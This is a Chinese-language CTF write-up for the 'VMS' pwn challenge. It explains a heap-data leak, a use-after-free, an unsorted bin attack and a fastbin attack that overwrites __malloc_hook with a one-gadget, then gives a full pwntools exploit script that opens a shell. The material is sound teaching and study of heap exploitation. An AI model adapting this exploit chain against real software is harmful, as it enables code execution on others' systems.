VMS (Vuln Management System) 是一个使用C语言开发的命令行交互程序,它存在一些漏洞。你可以通过挑战目标访问我。然后你可以PWN我吗?

程序是一个漏洞管理系统,在保存堆块指针时对其进行了xor保护,且程序中还有一处对结构指针得地址检查,虽然我不知道那是个什么原理……

这里有fb选手的writeup,确实非常厉害,这个检查居然能够裸过我也不知道是咋回事,一脸懵逼……

当时我用了一个非常繁琐的方法,折腾了半天才成功,后来想到可以简化一下。

漏洞

  1. 程序在输入vuln结构时,若rank为负值则不会写入,这就可以leak出这个位置原有的数据
  2. 程序在delete后,仅仅将一个inuse flag设为0,并没有把指针清除,之后可以edit,导致Use After Free

Leak

Leak的过程相对容易,能够让chunk释放后投入fastbin和unsorted bin,然后从rank读出来就好了

Exploit

不知道出题人是什么想法,我觉得过掉检查的方法,就是用unsorted bin attack,将那里的0xA000改写为一个很大的数,这样这个检查就相当于失效了。具体做法就是将unsorted chunk的fd改到对应的位置减16即可。

接下来,直接利用fastbin attack将chunk导向到__realloc_hook附近,这里需要故意将内存地址错位,然后写进__malloc_hook并将其该写为libc中的one gadget,最后执行add操作即可得到shell.

感觉这种方法,复杂的地方在于需要unsorted bin attack,而简单之处就是不用费心思leak key,还是不错的。

利用代码,仅供参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#!/usr/bin/env python
# coding: utf-8

from pwn import *

p = remote('127.0.0.1', 23333)

heap_chunk_offset = 0x70
magic = 0x603010

freehook_offset = 0x3c0a10
onegadget_offset = 0xe58c5

leaked_offset = 0x3be7b8
realloc_fake_offset = 0x3be725

def add(title, sz, detail, rank=0):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('bytes): ')
p.sendline(title)
p.recvuntil('4096): ')
p.sendline(str(sz))
p.recvuntil('bytes): ')
p.sendline(detail)
p.recvuntil('999): ')
p.sendline(str(rank))

def edit(title, detail, rank=0):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('title: ')
p.sendline(title)
p.recvuntil('999): ')
p.sendline(str(rank))
p.recvuntil('bytes): ')
p.sendline(detail)

def delete(title):
p.recvuntil('> ')
p.sendline('4')
p.recvuntil('title: ')
p.sendline(title)

def leak():
p.recvuntil('> ')
p.sendline('5')
p.recvuntil('title: c')
p.recvuntil('rank: ')
leaked_addr = int(p.recvuntil('\n',drop=True))
return leaked_addr

p.recvuntil('> ')
p.sendline('1')
p.recvuntil('bytes): ')
p.sendline(p64(0) + p64(0x81) + p64(0) + p64(0x71)[:-1])
p.recvuntil('100): ')
p.sendline('0')

# leak libc

add('a', 0xe0 - 16, 'AAAA')
add('b', 0x90 - 16, 'BBBB')
delete('a')
add('a', 0x70 - 16, 'AAAA')
add('c', 0x70 - 16, 'CCCC', -1)
add('d', 0x70 - 16, 'DDDD')

leaked_addr = leak()
libc_base = leaked_addr - leaked_offset
print '[+] unsorted bin @ %#x' % leaked_addr
print '[+] libc base @ %#x' % libc_base
realloc_fake_chunk = libc_base + realloc_fake_offset - 8
onegadget = libc_base + onegadget_offset

# leak heap

delete('a')
delete('c')
add('a', 0x70 - 16, 'AAAA', -1)
add('c', 0x70 - 16, '/bin/sh', -1)
leaked_heap = leak()
heap = leaked_heap - heap_chunk_offset
print '[+] leaked heap @ %#x' % leaked_heap
print '[+] heap base @ %#x' % heap

# use unsorted bin attack to corrupt magic to a large number

delete('b')
edit('b', p64(leaked_addr) + p64(magic - 16), str(0))

add('b', 0x90 - 16, 'BBBB')

# fastbin attack

delete('a')
edit('a', p64(0), str(realloc_fake_chunk))

payload = '\0' * 19 + p64(onegadget)
add('a', 0x70 - 16, payload)

# trigger malloc, get shell

p.recvuntil('> ')
p.sendline('2')
p.interactive()